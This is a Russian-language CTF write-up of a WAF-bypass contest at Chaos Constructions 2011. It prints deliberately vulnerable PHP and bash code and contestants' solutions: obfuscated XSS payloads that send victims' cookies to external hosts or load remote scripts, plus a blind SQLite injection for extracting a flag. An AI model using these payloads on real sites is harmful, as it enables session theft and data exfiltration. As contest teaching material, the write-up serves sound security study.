UPD! Добавлен вектор Rdot.org

На прошлых выходных прошел культовый фестиваль компьютерного искусства Chaos Constructions 2011.
Еще раз поздравдяю победителей:

Из безопасности было два конкурса: основной HackQuest и наш WAF bypass, о котором я и хочу рассказать.

Прежде всего, соберу все сылки, о мероприятии, которые удалось найти по блогам, их пока мало, так что очень прошу кинуть еще:

http://andrepetukhov.wordpress.com/2011/08/29/xss-waf-bypass-cc11/

http://amatrosov.blogspot.com/2011/08/cc11.html

Победители WAF realtime bypass:

rdot.org

BlackFan

kyprizel

Что же касалось нашего задания – это был WAF собственного производства (не продается) и бонусные задания, которые не требовали обходить WAF. С первых минут участники поделились на умных и сильных, первые ломали вручную, вторые играли в Nginx VS Acunetix, победил первый, ресурсов нам хватило, даже 10% нагрузки не достигли.

Начну с описания бонусных заданий:

№1 Задание математическое (25 баллов):

Случайно натыкаемся на missions/test.php и видим вот такую картинку:

А также указание к прохождению:

5!=120,

что для программистов означает “пять не равно 120″, а для всех остальных “пять факториал равно 120″.

И ниже пять кусков текста (флага), соотв. требовалось написать брутер и перебрать эти 120 вариантов.

№2 Задание верстальное (50 баллов):

Внимательным взглядом замечаем в стилях на страница с результатами такие строки:

.resTable td.row-1 {background: url(“../images/medal-gold-3-icon.png”) no-repeat;}
.resTable td.row-2 {background: url(“../images/medal-silver-3-icon.png”) no-repeat;}
.resTable td.row-3 {background: url(“../images/medal-bronze-3-icon.png”) no-repeat;}
.resTable td.row-13 {background: url(“../images/icon-13.png”) no-repeat;}
.resTable td.row-21 {background: url(“../images/icon-21.png”) no-repeat;}
.resTable td.row-69 {background: url(“../images/icon-69.png”) no-repeat;}
.resTable td.row-31337 {background: url(“../images/icon-31337.png”) no-repeat;}

Применяем смекалку, смотрим файл icon-31337.png, который является валидной картинкой, но внутри лежит XSS вектор, выводящий alert() с флагом, таким образом, либо копируем флаг из HEX, либо переименовываем в .html и читаем флаг.

№3 Задание SVN-ое (50 баллов)

Случайно находим /missions/dev и в ней странный скрипт, предлагающий авторизоваться. Пробуем какие-то вектора и ничего не помогает. Но вдруг проверяем вектор SVN, описанный http://habrahabr.ru/blogs/infosecurity/70330/ и видим, что на листинг соотв. директории отдается 403, а не 404, как везде, стало быть – она есть! Дальше недолгим перебором (ну не люблю я давать листинги сразу) читаем исходиник index.php.svn-base содержащий такие строки:


ini_set('REGISTER_GLOBALS','Off');

$is_admin=false;
$db = new SQLite3("bonus-2.aj31r63w7FTYAs.db");
$sid_str = sqlite_escape_string($_COOKIE['PHPSESSID']);
$data = parse_str($sid_str);
$login = sqlite_escape_string($_POST['login']);
$pass = md5($_POST['password']);
$res = $db->query("select type from users where login='$login' and passwd='$pass'");
if ($row==null){
echo "Login failed";
}else{
while($row = $res->fetchArray()){
if($row['type']>0){
$is_admin=true;
}else{
die("Restricted by privileges");
}
}
}
if ($is_admin){
echo "Hello, code is: ".file_get_contents("/home/oxod/flag");
}else{
echo "Error: auth required";
}

Находим уязвимость в parse_str, которая без второго аргумента кидает переменные в общий скоп и инициализируем необходимуб для авторизации $is_admin, засовывая в PHPSESSID вот такую строку: “is_admin=1&data=1″, затем заходим и получаем заветный флаг.

№4 Задание админское (50 баллов)

Находим админку в файле /missons/admin.php (вот что трудно, да?! почему не все нашли-то?!) и перебираем логин-пароль. Никто так и не сбрутил cisco/password, хотя во всех пасслистах и то и другое есть, в итоге я задолюался и разместил на странице авторизации логотип CISCO.

После чего авторизация была получена, в админке сразу лежал бонусный флаг и открывалось задание на RCE, уже с обходом WAF.

А теперь сладкое на закуску: обход WAF.

Все скрипты были прикрыты WAF, который работал по следующим двум принципам:

1. Весовой анализ запроса. Если спец. символов, типа скобок, кавычек и проч. больше 15% от длины запроса – запрос отбрасывался (die()) и выводилось сообщение: die( ”WAF detected anomal request spec. weight!”);

2. Сигнатурный анализ, выбрасывались спец. символы ‘ ” < > / и ключевые слова select, union, document, cookie

Я искренне надеялся, что слово weight поможет учатникам понять, что сигнатуры тут ни причем, но анализируя логи, убедится в обратном, тогда написал в твиттер “Первая подсказка: коллеги, задумайтесь над словом “ВЕС”, что, как позже рассказали участники, было интерпретировано как английское [БЕК] :)

#1 Обход для XSS (100 баллов + 100 баллов за выполнение бещ польз. действий).

Уязвимый сценарий был следующий:

echo “<a class=’news_title’>Ваше сообщение</a><br/><p class=’news_text’ id=utxt-$name>$text<script>var username=\”$name\”;</script></p><a class=’news_title’>отправлено администратору</a>”;

Где переменные $text и $name брались из польз. данных POST, причем длина name обрезалась до 39 символов (ну иначе совсем не интересно было бы). Все участники эксплуатировали внедрение атрибута в тэг <p> и сумели обхитрить тупую фильтрацию document и cookie, чтобы украть куки робота, содержащие флаг.

Решение от Андрея Петухова:

name = 1 onmouseover=setTimeout(innerHTML,1 )

text = var b = String.fromCharCode(100,111,99,117,109,101,110,116);var c = String.fromCharCode(99,111,111,107,105,101);var d = String.fromCharCode(104,116,116,112,58,47,47,49,53,56,46,50,53,48, 46,49,55,46,49,48,53,58,56,48,56,48,47,115,101,114,118,108, 101,116,47,70,105,114,115,116,76,111,103,103,101,114,63,99,61); var i = new Image();i.src= d + this[b][c];this[b].body.appendChild(i);//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Решение от Kyprizel:

name=”onclick=$.getScript(this.innerHTML)”

text=”http://domain.com/xssscript.js “

Еще было два варианта от Rdot.org и BlackFan, выложу их как только они акцептируют, суть там точно такая же.

Код без действий пользователя не выполнил никто. И действительно, Хром, под которым работала жертва атаки не поддерживает такие любимые всеми expression в style, как же тогда можно было получить вторые 100 баллов?

Посмотрите на вектор Kyprizel, видите там jQuery? Так вот если еще внимательнее посмотреть исходный код страницы, можно было заметить такие строки:

$(document).load(function(){
$(‘<’+$(‘#utxt-default’).html()+’>’);
});

Вот он победный DOM XSS threw Stored XSS :)
Вектор мог выглядеть так:

name=default

text=img src=a onerror=$.getScript(“//goo.gl/aaaaa”) forweightnormalizeblablablablablablablablablabla

Вектор команды – победителя выглядел вот так:

1 onmouseover=Function(this.innerHTML)()

b=/X6CX6FX63X61X74X69X6FX6EX2EX68X72X65X66X3DX22X6
8X74X74X70X3AX2FX2FX65X78X61X6DX70X6CX65X2EX63X6FX
6DX2FX3FX63X3DX22X2BX65X73X63X61X70X65X28X64X6FX63
X75X6DX65X6EX74X2EX63X6FX6FX6BX69X65X29/.source;
b=b.replace(/X/g,/%/.source); Function(unescape(b))();//

Замечу, что он выгодно отличается тем, что содержит сразу как обход весового анализа, так и обход сигнатур.

#2 Обход для SQLi (100 баллов + 100 баллов за дополненное задание).

Это задание не было слишком умным, как и предыдущее. Вообще мы старались делать задания не сложными, учитывая то, что был основной хакквест, выполнение которого также требовало времени.

Инъекция в SQL выражение вида:

$sql = “select id,author,content, date from news_$theme order by date desc”;

Как видно, не из сложных %) Самое трудное было отыскать флаг, который лежал в flags.flag и заблайндить байты.
Мой вариант был следующий:

general, flags where substr(hex(flag),1,1) like 9

и так далее по всем цифрам.
Также в запись с id=0 специально была положена строка ‘abcdefghijklmopqrtuvwxzy1234567890′, чтобы можно было сравнивать с ее подстроками.
Затем открылось второе задание – такое же, только без этой волшебной строки.
Интересно ребята, что бы вы делали, если пришлось бы достать не только цифровые hex()
Как видно, задание не из тяжелых, сложность только в том, что это SQLite и нету кавычек, select, union – не большая потеря (для такой инъекции), не правда ли?

#3 Обход для выполнения команд

Прямо скажу, это задание родилось с трудом…
Все уязвимости я старался брать из реальной дизни и немного адаптировать их в рамках конкурса, а эту в жизни уязвимость искали очень долго…
Итак, работал крон, который валидировал файлы, список которых брал из админки. Результат валидации он клал в файл, доступый из админки.
Код крона:

RESULT=” for FILE in $FILELIST;
do grep -q ‘^OK’ “$CHECKERSDIR/$FILE” || RESULT=”$RESULT, $FILE: $(cat $CHECKERSDIR/$FILE)” done
RESULT=${RESULT#, } if [ -z "$RESULT" ]; then echo “OK” else echo “WARN $RESULT” fi

Все что тут требовалось от участников (учитывая, что сырцы крона были выложены в твиттер) – чуть-чуть знать баш и обойти фильтрацию ..
Но с заданием никто не справился. Потому что пароль от админки набрутили очень поздно – после подсказки с циской, когда до окончания задания оставалось час-полтора.
Поскольку задание пройдено не было, предлагаю ваши варианты выкладывать сюда %)